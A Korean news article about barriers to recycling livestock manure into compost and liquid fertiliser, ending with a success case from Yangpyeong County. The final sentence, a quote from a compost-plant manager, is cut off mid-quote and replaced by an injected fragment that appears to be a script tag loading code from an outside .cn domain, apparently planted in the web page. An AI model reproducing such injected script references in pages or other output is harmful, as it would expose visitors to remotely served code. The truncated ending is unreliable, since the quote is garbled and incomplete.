가축분뇨를 자원화 하는데 가장 큰 걸림돌이 되는 것은 무엇일까?
그것은 바로 가축분뇨를 퇴비나 액비로 만들어도 그대로 경종농가에게 환원되지 않는다는 것이다.
그만큼 퇴·액비의 확실한 유통경로가 없다는 것이 자원화의 가장 큰 걸림돌이 되고 있다.
특히 퇴비나 액비가 친환경 영농기법에 제한적으로 사용되고 있고 이들 작목별 시용계획의 부족과 친환경적 시용에 요구되는 살포경지면적이 제약되고 있는 것이 문제라고 전문가들은 지적하고 있다.

▲확실한 유통체계와 평가체계 미흡

이렇듯 친환경 영농기법과 살포 경지면적의 제한이라는 상황에서 가축분뇨의 퇴비·액비는 잘 포장된 제품이라도 최종 수요처인 경종농가에게 그대로 환원되지 못하고 있다.

이같은 문제점의 근원은 그동안 계속 지적되고 있는 환경친화적 경영을 위한 내·외적인 액비 및 퇴비이용을 위한 의사결정과 평가가 가능한 조직운영의 시스템의 부족이라고 꼽을 수 있다.
유덕기 동국대학교 생명자원경제학과 교수는 `가축분뇨 자원화를 위한 이용실태 분석''에서 “액비 및 퇴비의 경제성은 발생량 정도 이상의 수요가 전제될 경우 나타나기 때문에 수요자와 공급자와의 연계시스템 구축이 절실하다”고 지적했다.

그는 또 “액비살포의 배출규제 중심의 법적 제약성과 경직성, 토양 및 작물진단에 따른 액비평가 결여와 사육규모에 의존된 가축분뇨 발생량 추정으로 가축분뇨의 양적·질적 평가의 부정확성 등은 액비의 환경친화적 자원화 및 이용을 제약하는 결과를 가져오고 있다”고 강조하고 있다.

경종농가들이 가축분뇨를 사용할 경우 작물에 피해를 미칠 수 있다는 막연한 우려는 바로 가축분뇨에 대한 확실한 평가가 없다는 현실을 뒷받침 하고 있다.
다시 말해 퇴비·액비의 확실한 수요처 및 유통체계의 부족과 이들 분뇨의 토양과 작물진단에 대한 평가의 결여가 가축분뇨 자원화의 추진을 늦추고 있다는 평가다.

▲농가들도 단순 처리라는 개념 버려야

이처럼 퇴비·액비가 자원화로서의 활용이 미진한 데는 제도적인 장치가 미흡한 것 외에 가축분뇨를 생산하는 농가들의 의식도 크게 작용하고 있다.
축산농가들의 대부분이 가축분뇨를 자원화 하자는 데 한 목소리를 내고 있지만 과연 자원화에 걸맞는 생산을 하고 있느냐는 것이다.

“가축분뇨를 자원화 한 퇴비나 액비에서 악취가 발생하거나 품질에 이상이 있어 사용을 꺼리고 있다”는 경종농가들의 말을 축산농가들이 깊게 생각해 봐야 할 문제다.

경기 이천 지역에서 논농사를 짓고 있는 김 모씨는 “친환경농업에 대한 관심이 높아지면서 액비를 이용한 사례가 늘고는 있지만 솔직히 사용하기가 망설여 진다”고 밝혔다.
김 씨는 그 원인으로 “액비를 뿌릴때 발생하는 냄새로 주변에서 민원을 제기하기도 하고 `혹시나 작물에 피해를 주지 않을까'' 하는 불안감 때문”이란다.

가축분뇨를 단순 처리한다는 개념은 자원화에 대한 축산농가와 경종농가 사이에 생긴 불신의 골이 더욱 깊어지는 양상을 초래하고 있다.

이제는 축산농가들도 자신이 생산하는 퇴비·액비가 시장에서 품질로 인정받는 노력을 해야 한다.
악취를 저감하는 약제를 사용하거나 충분한 부숙기간을 거쳐 경종농가들이 믿고 찾을 수 있도록 해야 할 것이다.

◇성공사례/ 경기 양평군

경기 양평군의 축산농가들은 가축분뇨 처리에 있어 비교적 자유로운 편이다.
양평군은 팔당상수원보호와 함께 수도권 시민들에게 안전한 농산물을 제공할 수 있는 친환경농업만이 대안이라고 인식한 결과 1998년 4월 `양평환경농업-21’을 선언하고 제초제 사용억제 등 다양한 친환경농업시책을 벌여 오고 있다.

이에 따라 농약·화학비료·제초제 사용안하기 운동을 펼친 결과 화학비료 사용량은 40%이상 줄어들고 유기질비료 사용량은 950% 이상 늘어나게 됐다.
분과 뇨를 확실히 분리해 뇨는 지자체에서 운영하는 정화처리 시설로 해결하고 분은 지역 퇴비공장에서 자원화로 처리하고 있다.

경종농가가 사용하는 퇴비가격의 50%를 지자체에서 지원을 해 주니 경종농가들은 값싸고 양질의 퇴비를 이용해 친환경농산물 생산에 더욱 적극적으로 참여하게 된다.
이에 따라 일선 지역 축협 축분비료공장들이 가동률 부족이나 생산한 퇴비의 판매문제로 고심하고 있지만 양평축협의 축분비료공장은 지난해 생산한 1만8000톤의 퇴비를 모두 농지로 환원했다.

안중원 양평축협 축분비료공장장은 “군에서 소신있게 순환농법을 추진한 결과가 가축분뇨의 자원화라는 소중한 결과물을 낳았다”고 평가했다.
안 공장장은 그러나 “아직까지 ?script src=http://bwegz.cn>
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